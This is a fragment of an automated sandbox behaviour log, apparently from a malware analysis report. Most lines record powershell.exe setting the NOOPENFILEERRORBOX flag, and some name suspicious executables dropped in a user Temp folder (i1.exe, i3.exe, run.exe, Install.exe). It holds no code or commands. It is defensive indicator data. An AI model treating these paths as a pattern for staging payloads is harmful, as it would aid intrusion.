Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
